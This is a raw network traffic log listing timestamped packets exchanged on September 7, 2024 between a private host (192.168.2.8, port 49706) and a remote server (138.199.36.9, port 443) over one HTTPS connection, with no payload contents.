Sep 7, 2024 23:15:25.734313011 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.734805107 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.734819889 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.734875917 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.734886885 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.735810041 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.735830069 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.735883951 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.735905886 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.735919952 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.736157894 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.736171961 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.736241102 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.736254930 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.737445116 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.737463951 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.737504959 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.737524986 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.737540960 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.737945080 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.737963915 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.737999916 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.738013029 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.738033056 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.739548922 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.739571095 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.739639997 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.739656925 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.739667892 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.784744978 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.820947886 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.820971012 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.821029902 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.821077108 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.821135998 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.821161032 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.821192980 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.821727991 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.821748018 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.821785927 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.821795940 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.821819067 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.822513103 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.822532892 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.822571039 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.822578907 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.822644949 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.823107004 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.823120117 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.823189974 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.823199034 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.823797941 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.823820114 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.823872089 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.823879957 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.823899031 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.824033976 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.824048042 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.824119091 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.824129105 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.826641083 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.826661110 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.826751947 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.826767921 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.826812029 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.828325033 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.828425884 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.909316063 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.909337997 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.909420967 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.909468889 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.909512997 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.909543991 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.909562111 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.910239935 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.910253048 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.910305023 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.910314083 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.910341978 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.910902977 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.910922050 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.911454916 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.911454916 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.911463022 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.911488056 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.911501884 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.912520885 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.912539005 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.912834883 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.912867069 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.912880898 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.912880898 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.912894011 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.913269043 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.913269043 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.913269043 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.915169001 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.915189028 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.915337086 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.915345907 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.956598997 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.997627020 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.997651100 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.997840881 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.997858047 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.997970104 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.998070955 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.998087883 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.998162031 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.998167992 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.998233080 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.998770952 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.998788118 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.998850107 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.998856068 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.998895884 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.999264956 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.999284029 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.999351978 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:25.999358892 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:25.999427080 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.000242949 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.000258923 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.000343084 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.000349998 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.000447989 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.000905037 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.000927925 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.001023054 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.001029015 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.001072884 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.001357079 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.001373053 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.001413107 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.001420021 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.001460075 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.001460075 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.003587008 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.003602982 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.003694057 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.003720045 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.003772020 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.086142063 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.086163998 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.086354971 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.086369991 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.086467028 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.086477041 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.086493969 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.086644888 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.086652040 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.086707115 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.087194920 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.087212086 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.087275982 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.087282896 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.087340117 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.087882042 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.087898016 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.087968111 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.087974072 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.088020086 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.089202881 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.089220047 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.089268923 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.089276075 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.089304924 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.089304924 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.089396954 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.089420080 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.089464903 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.089471102 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.089494944 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.089515924 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.090874910 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.090892076 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.091015100 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.091023922 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.091134071 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.093230963 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.093255043 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.093343973 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.093352079 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.093399048 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.174714088 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.174735069 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.174998045 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.175035954 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.175107002 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.175314903 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.175333977 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.175395966 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.175405025 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.175446033 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.175446033 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.175887108 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.175903082 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.175966024 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.175973892 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.176024914 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.176528931 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.176546097 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.176588058 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.176595926 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.176630020 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.176659107 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.177793980 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.177809954 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.177874088 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.177894115 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.177902937 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.177958012 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.178025007 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.179373026 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.179384947 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.179399014 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.179550886 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.179559946 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.179707050 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.181626081 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.181644917 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.181740046 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.181740046 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.181749105 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.222179890 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.263571978 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.263592958 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.263700008 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.263700008 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.263725996 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.263811111 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.263840914 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.263856888 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.263931036 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.263931036 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.263941050 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.263988972 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.264344931 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.264359951 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.264439106 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.264439106 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.264447927 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.264508963 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.265070915 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.265086889 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.265166044 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.265175104 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.265216112 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.266228914 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.266244888 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.266421080 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.266431093 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.266592979 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.267342091 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.267357111 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.267622948 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.267631054 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.267698050 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.269172907 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.269193888 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.269267082 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.269267082 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.269285917 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.269416094 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.352042913 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.352066040 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.352230072 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.352263927 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.352309942 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.352320910 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.352341890 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.352401018 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.352401018 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.352408886 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.352502108 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.352535963 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.352552891 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.352617025 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.352617025 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.352626085 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.352768898 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.353223085 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.353245020 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.353312016 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.353312016 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.353322029 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.353547096 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.354605913 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.354623079 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.354875088 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.354882956 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.355232954 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.355247974 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.355263948 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.355484962 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.355493069 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.355577946 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.355998993 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.356015921 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.356169939 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.356177092 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.356220961 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.357717037 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.357738972 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.357801914 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.357801914 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.357809067 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.358166933 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.441114902 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.441143990 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.441184998 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.441231966 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.441307068 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.441307068 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.441344023 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.442476988 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.442500114 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.442543983 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.442564011 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.442564011 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.442568064 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.442584038 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.442630053 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.442630053 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.443097115 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.443114996 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.444014072 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.444037914 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.444063902 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.444065094 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.444075108 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:26.444225073 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:26.444454908 CEST	443	49706	138.199.36.9	192.168.2.8
